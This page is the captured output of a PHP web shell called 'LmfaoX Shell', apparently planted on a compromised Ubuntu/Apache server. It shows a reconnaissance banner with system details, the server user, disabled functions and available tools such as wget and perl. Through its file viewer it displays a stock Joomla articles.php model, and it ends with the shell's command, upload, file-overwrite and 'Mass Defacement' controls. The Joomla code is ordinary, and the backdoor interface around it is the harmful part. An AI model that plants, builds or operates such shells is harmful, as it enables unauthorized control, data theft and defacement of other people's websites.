ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.71 GB of 70.42 GB (35.09%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ guitar.1/ components/ com_content/ models/ - drwxr-xr-x

Directory:
Viewing file:     articles.php (20.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @copyright    Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die;

jimport('joomla.application.component.modellist');

/**
 * This models supports retrieving lists of articles.
 *
 * @package        Joomla.Site
 * @subpackage    com_content
 * @since        1.6
 */
class ContentModelArticles extends JModelList
{

    
/**
     * Constructor.
     *
     * @param    array    An optional associative array of configuration settings.
     * @see        JController
     * @since    1.6
     */
    
public function __construct($config = array())
    {
        if (empty(
$config['filter_fields'])) {
            
$config['filter_fields'] = array(
                
'id''a.id',
                
'title''a.title',
                
'alias''a.alias',
                
'checked_out''a.checked_out',
                
'checked_out_time''a.checked_out_time',
                
'catid''a.catid''category_title',
                
'state''a.state',
                
'access''a.access''access_level',
                
'created''a.created',
                
'created_by''a.created_by',
                
'ordering''a.ordering',
                
'featured''a.featured',
                
'language''a.language',
                
'hits''a.hits',
                
'publish_up''a.publish_up',
                
'publish_down''a.publish_down',
                
'images''a.images',
                
'urls''a.urls',
            );
        }

        
parent::__construct($config);
    }

    
/**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return    void
     * @since    1.6
     */
    
protected function populateState($ordering 'ordering'$direction 'ASC')
    {
        
$app JFactory::getApplication();

        
// List state information
        //$value = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'));
        
$value JRequest::getUInt('limit'$app->getCfg('list_limit'0));
        
$this->setState('list.limit'$value);

        
//$value = $app->getUserStateFromRequest($this->context.'.limitstart', 'limitstart', 0);
        
$value JRequest::getUInt('limitstart'0);
        
$this->setState('list.start'$value);

        
$orderCol    JRequest::getCmd('filter_order''a.ordering');
        if (!
in_array($orderCol$this->filter_fields)) {
            
$orderCol 'a.ordering';
        }
        
$this->setState('list.ordering'$orderCol);

        
$listOrder    =  JRequest::getCmd('filter_order_Dir''ASC');
        if (!
in_array(strtoupper($listOrder), array('ASC''DESC'''))) {
            
$listOrder 'ASC';
        }
        
$this->setState('list.direction'$listOrder);

        
$params $app->getParams();
        
$this->setState('params'$params);
        
$user        JFactory::getUser();

        if ((!
$user->authorise('core.edit.state''com_content')) &&  (!$user->authorise('core.edit''com_content'))){
            
// filter on published for those who do not have edit or edit.state rights.
            
$this->setState('filter.published'1);
        }

        
$this->setState('filter.language'$app->getLanguageFilter());

        
// process show_noauth parameter
        
if (!$params->get('show_noauth')) {
            
$this->setState('filter.access'true);
        }
        else {
            
$this->setState('filter.access'false);
        }

        
$this->setState('layout'JRequest::getCmd('layout'));
    }

    
/**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param    string        $id    A prefix for the store id.
     *
     * @return    string        A store id.
     * @since    1.6
     */
    
protected function getStoreId($id '')
    {
        
// Compile the store id.
        
$id .= ':'.$this->getState('filter.published');
        
$id .= ':'.$this->getState('filter.access');
        
$id .= ':'.$this->getState('filter.featured');
        
$id .= ':'.$this->getState('filter.article_id');
        
$id .= ':'.$this->getState('filter.article_id.include');
        
$id .= ':'.$this->getState('filter.category_id');
        
$id .= ':'.$this->getState('filter.category_id.include');
        
$id .= ':'.$this->getState('filter.author_id');
        
$id .= ':'.$this->getState('filter.author_id.include');
        
$id .= ':'.$this->getState('filter.author_alias');
        
$id .= ':'.$this->getState('filter.author_alias.include');
        
$id .= ':'.$this->getState('filter.date_filtering');
        
$id .= ':'.$this->getState('filter.date_field');
        
$id .= ':'.$this->getState('filter.start_date_range');
        
$id .= ':'.$this->getState('filter.end_date_range');
        
$id .= ':'.$this->getState('filter.relative_date');

        return 
parent::getStoreId($id);
    }

    
/**
     * Get the master query for retrieving a list of articles subject to the model state.
     *
     * @return    JDatabaseQuery
     * @since    1.6
     */
    
function getListQuery()
    {
        
// Create a new query object.
        
$db $this->getDbo();
        
$query $db->getQuery(true);

        
// Select the required fields from the table.
        
$query->select(
            
$this->getState(
                
'list.select',
                
'a.id, a.title, a.alias, a.title_alias, a.introtext, ' .
                
'a.checked_out, a.checked_out_time, ' .
                
'a.catid, a.created, a.created_by, a.created_by_alias, ' .
                
// use created if modified is 0
                
'CASE WHEN a.modified = 0 THEN a.created ELSE a.modified END as modified, ' .
                    
'a.modified_by, uam.name as modified_by_name,' .
                
// use created if publish_up is 0
                
'CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END as publish_up,' .
                    
'a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, ' .
                    
'a.hits, a.xreference, a.featured,'.' '.$query->length('a.fulltext').' AS readmore'
            
)
        );

        
// Process an Archived Article layout
        
if ($this->getState('filter.published') == 2) {
            
// If badcats is not null, this means that the article is inside an archived category
            // In this case, the state is set to 2 to indicate Archived (even if the article state is Published)
            
$query->select($this->getState('list.select''CASE WHEN badcats.id is null THEN a.state ELSE 2 END AS state'));
        }
        else {
            
// Process non-archived layout
            // If badcats is not null, this means that the article is inside an unpublished category
            // In this case, the state is set to 0 to indicate Unpublished (even if the article state is Published)
            
$query->select($this->getState('list.select''CASE WHEN badcats.id is not null THEN 0 ELSE a.state END AS state'));
        }

        
$query->from('#__content AS a');

        
// Join over the frontpage articles.
        
if ($this->context != 'com_content.featured') {
            
$query->join('LEFT''#__content_frontpage AS fp ON fp.content_id = a.id');
        }

        
// Join over the categories.
        
$query->select('c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias');
        
$query->join('LEFT''#__categories AS c ON c.id = a.catid');

        
// Join over the users for the author and modified_by names.
        
$query->select("CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author");
        
$query->select("ua.email AS author_email");

        
$query->join('LEFT''#__users AS ua ON ua.id = a.created_by');
        
$query->join('LEFT''#__users AS uam ON uam.id = a.modified_by');

        
// Join on contact table
        
$subQuery $db->getQuery(true);
        
$subQuery->select('contact.user_id, MAX(contact.id) AS id, contact.language');
        
$subQuery->from('#__contact_details AS contact');
        
$subQuery->where('contact.published = 1');
        
$subQuery->group('contact.user_id, contact.language');
        
$query->select('contact.id as contactid' );
        
$query->join('LEFT''(' $subQuery ') AS contact ON contact.user_id = a.created_by');
        
        
// Join over the categories to get parent category titles
        
$query->select('parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias');
        
$query->join('LEFT''#__categories as parent ON parent.id = c.parent_id');

        
// Join on voting table
        
$query->select('ROUND(v.rating_sum / v.rating_count, 0) AS rating, v.rating_count as rating_count');
        
$query->join('LEFT''#__content_rating AS v ON a.id = v.content_id');

        
// Join to check for category published state in parent categories up the tree
        
$query->select('c.published, CASE WHEN badcats.id is null THEN c.published ELSE 0 END AS parents_published');
        
$subquery 'SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent ';
        
$subquery .= 'ON cat.lft BETWEEN parent.lft AND parent.rgt ';
        
$subquery .= 'WHERE parent.extension = ' $db->quote('com_content');

        if (
$this->getState('filter.published') == 2) {
            
// Find any up-path categories that are archived
            // If any up-path categories are archived, include all children in archived layout
            
$subquery .= ' AND parent.published = 2 GROUP BY cat.id ';
            
// Set effective state to archived if up-path category is archived
            
$publishedWhere 'CASE WHEN badcats.id is null THEN a.state ELSE 2 END';
        }
        else {
            
// Find any up-path categories that are not published
            // If all categories are published, badcats.id will be null, and we just use the article state
            
$subquery .= ' AND parent.published != 1 GROUP BY cat.id ';
            
// Select state to unpublished if up-path category is unpublished
            
$publishedWhere 'CASE WHEN badcats.id is null THEN a.state ELSE 0 END';
        }
        
$query->join('LEFT OUTER''(' $subquery ') AS badcats ON badcats.id = c.id');

        
// Filter by access level.
        
if ($access $this->getState('filter.access')) {
            
$user    JFactory::getUser();
            
$groups    implode(','$user->getAuthorisedViewLevels());
            
$query->where('a.access IN ('.$groups.')');
        }

        
// Filter by published state
        
$published $this->getState('filter.published');

        if (
is_numeric($published)) {
            
// Use article state if badcats.id is null, otherwise, force 0 for unpublished
            
$query->where($publishedWhere ' = ' . (int) $published);
        }
        elseif (
is_array($published)) {
            
JArrayHelper::toInteger($published);
            
$published implode(','$published);
            
// Use article state if badcats.id is null, otherwise, force 0 for unpublished
            
$query->where($publishedWhere ' IN ('.$published.')');
        }

        
// Filter by featured state
        
$featured $this->getState('filter.featured');
        switch (
$featured)
        {
            case 
'hide':
                
$query->where('a.featured = 0');
                break;

            case 
'only':
                
$query->where('a.featured = 1');
                break;

            case 
'show':
            default:
                
// Normally we do not discriminate
                // between featured/unfeatured items.
                
break;
        }

        
// Filter by a single or group of articles.
        
$articleId $this->getState('filter.article_id');

        if (
is_numeric($articleId)) {
            
$type $this->getState('filter.article_id.include'true) ? '= ' '<> ';
            
$query->where('a.id '.$type.(int) $articleId);
        }
        elseif (
is_array($articleId)) {
            
JArrayHelper::toInteger($articleId);
            
$articleId implode(','$articleId);
            
$type $this->getState('filter.article_id.include'true) ? 'IN' 'NOT IN';
            
$query->where('a.id '.$type.' ('.$articleId.')');
        }

        
// Filter by a single or group of categories
        
$categoryId $this->getState('filter.category_id');

        if (
is_numeric($categoryId)) {
            
$type $this->getState('filter.category_id.include'true) ? '= ' '<> ';

            
// Add subcategory check
            
$includeSubcategories $this->getState('filter.subcategories'false);
            
$categoryEquals 'a.catid '.$type.(int) $categoryId;

            if (
$includeSubcategories) {
                
$levels = (int) $this->getState('filter.max_category_levels''1');
                
// Create a subquery for the subcategory list
                
$subQuery $db->getQuery(true);
                
$subQuery->select('sub.id');
                
$subQuery->from('#__categories as sub');
                
$subQuery->join('INNER''#__categories as this ON sub.lft > this.lft AND sub.rgt < this.rgt');
                
$subQuery->where('this.id = '.(int) $categoryId);
                if (
$levels >= 0) {
                    
$subQuery->where('sub.level <= this.level + '.$levels);
                }

                
// Add the subquery to the main query
                
$query->where('('.$categoryEquals.' OR a.catid IN ('.$subQuery->__toString().'))');
            }
            else {
                
$query->where($categoryEquals);
            }
        }
        elseif (
is_array($categoryId) && (count($categoryId) > 0)) {
            
JArrayHelper::toInteger($categoryId);
            
$categoryId implode(','$categoryId);
            if (!empty(
$categoryId)) {
                
$type $this->getState('filter.category_id.include'true) ? 'IN' 'NOT IN';
                
$query->where('a.catid '.$type.' ('.$categoryId.')');
            }
        }

        
// Filter by author
        
$authorId $this->getState('filter.author_id');
        
$authorWhere '';

        if (
is_numeric($authorId)) {
            
$type $this->getState('filter.author_id.include'true) ? '= ' '<> ';
            
$authorWhere 'a.created_by '.$type.(int) $authorId;
        }
        elseif (
is_array($authorId)) {
            
JArrayHelper::toInteger($authorId);
            
$authorId implode(','$authorId);

            if (
$authorId) {
                
$type $this->getState('filter.author_id.include'true) ? 'IN' 'NOT IN';
                
$authorWhere 'a.created_by '.$type.' ('.$authorId.')';
            }
        }

        
// Filter by author alias
        
$authorAlias $this->getState('filter.author_alias');
        
$authorAliasWhere '';

        if (
is_string($authorAlias)) {
            
$type $this->getState('filter.author_alias.include'true) ? '= ' '<> ';
            
$authorAliasWhere 'a.created_by_alias '.$type.$db->Quote($authorAlias);
        }
        elseif (
is_array($authorAlias)) {
            
$first current($authorAlias);

            if (!empty(
$first)) {
                
JArrayHelper::toString($authorAlias);

                foreach (
$authorAlias as $key => $alias)
                {
                    
$authorAlias[$key] = $db->Quote($alias);
                }

                
$authorAlias implode(','$authorAlias);

                if (
$authorAlias) {
                    
$type $this->getState('filter.author_alias.include'true) ? 'IN' 'NOT IN';
                    
$authorAliasWhere 'a.created_by_alias '.$type.' ('.$authorAlias .
                        
')';
                }
            }
        }

        if (!empty(
$authorWhere) && !empty($authorAliasWhere)) {
            
$query->where('('.$authorWhere.' OR '.$authorAliasWhere.')');
        }
        elseif (empty(
$authorWhere) && empty($authorAliasWhere)) {
            
// If both are empty we don't want to add to the query
        
}
        else {
            
// One of these is empty, the other is not so we just add both
            
$query->where($authorWhere.$authorAliasWhere);
        }

        
// Filter by start and end dates.
        
$nullDate    $db->Quote($db->getNullDate());
        
$nowDate    $db->Quote(JFactory::getDate()->toSql());

        
$query->where('(a.publish_up = '.$nullDate.' OR a.publish_up <= '.$nowDate.')');
        
$query->where('(a.publish_down = '.$nullDate.' OR a.publish_down >= '.$nowDate.')');

        
// Filter by Date Range or Relative Date
        
$dateFiltering $this->getState('filter.date_filtering''off');
        
$dateField $this->getState('filter.date_field''a.created');

        switch (
$dateFiltering)
        {
            case 
'range':
                
$startDateRange $db->Quote($this->getState('filter.start_date_range'$nullDate));
                
$endDateRange $db->Quote($this->getState('filter.end_date_range'$nullDate));
                
$query->where('('.$dateField.' >= '.$startDateRange.' AND '.$dateField .
                    
' <= '.$endDateRange.')');
                break;

            case 
'relative':
                
$relativeDate = (int) $this->getState('filter.relative_date'0);
                
$query->where($dateField.' >= DATE_SUB('.$nowDate.', INTERVAL ' .
                    
$relativeDate.' DAY)');
                break;

            case 
'off':
            default:
                break;
        }

        
// process the filter for list views with user-entered filters
        
$params $this->getState('params');

        if ((
is_object($params)) && ($params->get('filter_field') != 'hide') && ($filter $this->getState('list.filter'))) {
            
// clean filter variable
            
$filter JString::strtolower($filter);
            
$hitsFilter intval($filter);
            
$filter $db->Quote('%'.$db->escape($filtertrue).'%'false);

            switch (
$params->get('filter_field'))
            {
                case 
'author':
                    
$query->where(
                        
'LOWER( CASE WHEN a.created_by_alias > '.$db->quote(' ').
                        
' THEN a.created_by_alias ELSE ua.name END ) LIKE '.$filter.' '
                    
);
                    break;

                case 
'hits':
                    
$query->where('a.hits >= '.$hitsFilter.' ');
                    break;

                case 
'title':
                default: 
// default to 'title' if parameter is not valid
                    
$query->where('LOWER( a.title ) LIKE '.$filter);
                    break;
            }
        }

        
// Filter by language
        
if ($this->getState('filter.language')) {
            
$query->where('a.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')');
            
$query->where('(contact.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').') OR contact.language IS NULL)');
        }

        
// Add the list ordering clause.
        
$query->order($this->getState('list.ordering''a.ordering').' '.$this->getState('list.direction''ASC'));
        
$query->group('a.id, a.title, a.alias, a.title_alias, a.introtext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, a.created, a.modified, a.modified_by, uam.name, a.publish_up, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits, a.xreference, a.featured, a.fulltext, a.state, a.publish_down, badcats.id, c.title, c.path, c.access, c.alias, uam.id, ua.name, ua.email, contact.id, parent.title, parent.id, parent.path, parent.alias, v.rating_sum, v.rating_count, c.published, c.lft, a.ordering, parent.lft, fp.ordering, c.id, a.images, a.urls');
        return 
$query;
    }

    
/**
     * Method to get a list of articles.
     *
     * Overriden to inject convert the attribs field into a JParameter object.
     *
     * @return    mixed    An array of objects on success, false on failure.
     * @since    1.6
     */
    
public function getItems()
    {
        
$items    parent::getItems();
        
$user    JFactory::getUser();
        
$userId    $user->get('id');
        
$guest    $user->get('guest');
        
$groups    $user->getAuthorisedViewLevels();

        
// Get the global params
        
$globalParams JComponentHelper::getParams('com_content'true);

        
// Convert the parameter fields into objects.
        
foreach ($items as &$item)
        {
            
$articleParams = new JRegistry;
            
$articleParams->loadString($item->attribs);

            
// Unpack readmore and layout params
            
$item->alternative_readmore $articleParams->get('alternative_readmore');
            
$item->layout $articleParams->get('layout');

            
$item->params = clone $this->getState('params');

            
// For blogs, article params override menu item params only if menu param = 'use_article'
            // Otherwise, menu item params control the layout
            // If menu item is 'use_article' and there is no article param, use global
            
if ((JRequest::getString('layout') == 'blog') || (JRequest::getString('view') == 'featured')
                || (
$this->getState('params')->get('layout_type') == 'blog')) {
                
// create an array of just the params set to 'use_article'
                
$menuParamsArray $this->getState('params')->toArray();
                
$articleArray = array();

                foreach (
$menuParamsArray as $key => $value)
                {
                    if (
$value === 'use_article') {
                        
// if the article has a value, use it
                        
if ($articleParams->get($key) != '') {
                            
// get the value from the article
                            
$articleArray[$key] = $articleParams->get($key);
                        }
                        else {
                            
// otherwise, use the global value
                            
$articleArray[$key] = $globalParams->get($key);
                        }
                    }
                }

                
// merge the selected article params
                
if (count($articleArray) > 0) {
                    
$articleParams = new JRegistry;
                    
$articleParams->loadArray($articleArray);
                    
$item->params->merge($articleParams);
                }
            }
            else {
                
// For non-blog layouts, merge all of the article params
                
$item->params->merge($articleParams);
            }

            
// get display date
            
switch ($item->params->get('list_show_date'))
            {
                case 
'modified':
                    
$item->displayDate $item->modified;
                    break;

                case 
'published':
                    
$item->displayDate = ($item->publish_up == 0) ? $item->created $item->publish_up;
                    break;

                default:
                case 
'created':
                    
$item->displayDate $item->created;
                    break;
            }

            
// Compute the asset access permissions.
            // Technically guest could edit an article, but lets not check that to improve performance a little.
            
if (!$guest) {
                
$asset    'com_content.article.'.$item->id;

                
// Check general edit permission first.
                
if ($user->authorise('core.edit'$asset)) {
                    
$item->params->set('access-edit'true);
                }
                
// Now check if edit.own is available.
                
elseif (!empty($userId) && $user->authorise('core.edit.own'$asset)) {
                    
// Check for a valid user and that they are the owner.
                    
if ($userId == $item->created_by) {
                        
$item->params->set('access-edit'true);
                    }
                }
            }

            
$access $this->getState('filter.access');

            if (
$access) {
                
// If the access filter has been set, we already have only the articles this user can view.
                
$item->params->set('access-view'true);
            }
            else {
                
// If no access filter is set, the layout takes some responsibility for display of limited information.
                
if ($item->catid == || $item->category_access === null) {
                    
$item->params->set('access-view'in_array($item->access$groups));
                }
                else {
                    
$item->params->set('access-view'in_array($item->access$groups) && in_array($item->category_access$groups));
                }
            }
        }

        return 
$items;
    }
    public function 
getStart()
    {
        return 
$this->getState('list.start');
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2683 seconds